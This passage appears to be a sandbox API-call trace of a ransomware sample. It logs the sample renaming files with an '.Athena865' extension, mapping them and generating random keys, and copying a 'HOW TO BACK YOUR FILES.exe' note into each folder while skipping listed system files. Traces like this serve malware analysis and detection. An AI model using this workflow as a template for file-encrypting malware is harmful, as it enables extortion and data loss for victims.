lstrlenW (lpString="udb") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0103.497] lstrlenW (lpString="udl") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0103.497] lstrlenW (lpString="usr") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0103.497] lstrlenW (lpString="v12") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0103.497] lstrlenW (lpString="vis") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0103.497] lstrlenW (lpString="vpd") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0103.497] lstrlenW (lpString="vvv") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0103.497] lstrlenW (lpString="wdb") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0103.497] lstrlenW (lpString="wmdb") returned 4 [0103.497] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0103.497] lstrlenW (lpString="wrk") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0103.497] lstrlenW (lpString="xdb") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0103.497] lstrlenW (lpString="xld") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0103.497] lstrlenW (lpString="xmlff") returned 5 [0103.498] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0103.498] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Local Settings\\History\\desktop.ini.Athena865") returned 78 [0103.498] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\desktop.ini" (normalized: "c:\\documents and settings\\default\\local settings\\history\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\history\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0103.498] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\history\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.499] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=145) returned 1 [0103.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.499] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.500] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.500] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.500] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a0, lpName=0x0) returned 0x17c [0103.502] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a0) returned 0x100000 [0103.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.503] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.503] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.504] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.504] CloseHandle (hObject=0x17c) returned 1 [0103.504] CloseHandle (hObject=0x154) returned 1 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.505] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2=".") returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="..") returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="windows") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="bootmgr") returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="temp") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="pagefile.sys") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="boot") returned 1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="ids.txt") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="ntuser.dat") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="perflogs") returned -1 [0103.505] lstrcmpiW (lpString1="History.IE5", lpString2="MSBuild") returned -1 [0103.505] lstrlenW (lpString="History.IE5") returned 11 [0103.505] lstrcpyW (in: lpString1=0x241e8ba, lpString2="History.IE5" | out: lpString1="History.IE5") returned="History.IE5" [0103.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7d0 [0103.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x534150 [0103.505] lstrcatW (in: lpString1="History.IE5", lpString2="\\" | out: lpString1="History.IE5\\") returned="History.IE5\\" [0103.505] lstrcatW (in: lpString1="History.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History.IE5\\HOW TO BACK YOUR FILES.exe") returned="History.IE5\\HOW TO BACK YOUR FILES.exe" [0103.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\History.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\history\\history.ie5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.508] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7a33020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.508] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.508] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0103.508] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1 [0103.509] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1 [0103.509] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1 [0103.509] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1 [0103.509] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1 [0103.509] lstrlenW (lpString="Low") returned 3 [0103.509] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Low" | out: lpString1="Low") returned="Low" [0103.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c758 [0103.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519910 [0103.509] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0103.509] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0103.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\history\\low\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.511] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0103.511] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.511] ReleaseMutex (hMutex=0xec) returned 1 [0103.511] CloseHandle (hObject=0xec) returned 1 [0103.511] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft" [0103.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5024a8 | out: hHeap=0x4f0000) returned 1 [0103.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad98 | out: hHeap=0x4f0000) returned 1 [0103.511] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft") returned 58 [0103.511] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E92F7665A4B7E21AF30B5EDC1F8612E4") returned 0xec [0103.512] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.512] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft" [0103.512] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.512] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.512] GetLastError () returned 0x0 [0103.512] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.512] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.513] CloseHandle (hObject=0xf4) returned 1 [0103.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.513] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.513] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.514] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.514] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.514] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.514] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.514] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.514] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1 [0103.514] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1 [0103.514] lstrlenW (lpString="Credentials") returned 11 [0103.514] lstrcpyW (in: lpString1=0x241e8be, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials" [0103.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad98 [0103.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x5341e8 [0103.514] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0103.514] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0103.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.517] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2=".") returned 1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="..") returned 1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="windows") returned -1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="bootmgr") returned 1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="temp") returned -1 [0103.517] lstrcmpiW (lpString1="Feeds", lpString2="pagefile.sys") returned -1 [0103.518] lstrcmpiW (lpString1="Feeds", lpString2="boot") returned 1 [0103.518] lstrcmpiW (lpString1="Feeds", lpString2="ids.txt") returned -1 [0103.518] lstrcmpiW (lpString1="Feeds", lpString2="ntuser.dat") returned -1 [0103.518] lstrcmpiW (lpString1="Feeds", lpString2="perflogs") returned -1 [0103.518] lstrcmpiW (lpString1="Feeds", lpString2="MSBuild") returned -1 [0103.518] lstrlenW (lpString="Feeds") returned 5 [0103.518] lstrcpyW (in: lpString1=0x241e8be, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds" [0103.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad80 [0103.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x513ca8 [0103.518] lstrcatW (in: lpString1="Feeds", lpString2="\\" | out: lpString1="Feeds\\") returned="Feeds\\" [0103.518] lstrcatW (in: lpString1="Feeds\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds\\HOW TO BACK YOUR FILES.exe") returned="Feeds\\HOW TO BACK YOUR FILES.exe" [0103.518] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.522] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2=".") returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="..") returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="windows") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="bootmgr") returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="temp") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="pagefile.sys") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="boot") returned 1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="ids.txt") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="ntuser.dat") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="perflogs") returned -1 [0103.522] lstrcmpiW (lpString1="Feeds Cache", lpString2="MSBuild") returned -1 [0103.522] lstrlenW (lpString="Feeds Cache") returned 11 [0103.522] lstrcpyW (in: lpString1=0x241e8be, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache" [0103.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad08 [0103.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x534280 [0103.522] lstrcatW (in: lpString1="Feeds Cache", lpString2="\\" | out: lpString1="Feeds Cache\\") returned="Feeds Cache\\" [0103.522] lstrcatW (in: lpString1="Feeds Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds Cache\\HOW TO BACK YOUR FILES.exe") returned="Feeds Cache\\HOW TO BACK YOUR FILES.exe" [0103.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.526] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7aa5440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.526] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.526] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1 [0103.526] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1 [0103.526] lstrlenW (lpString="Internet Explorer") returned 17 [0103.526] lstrcpyW (in: lpString1=0x241e8be, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0103.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52acf0 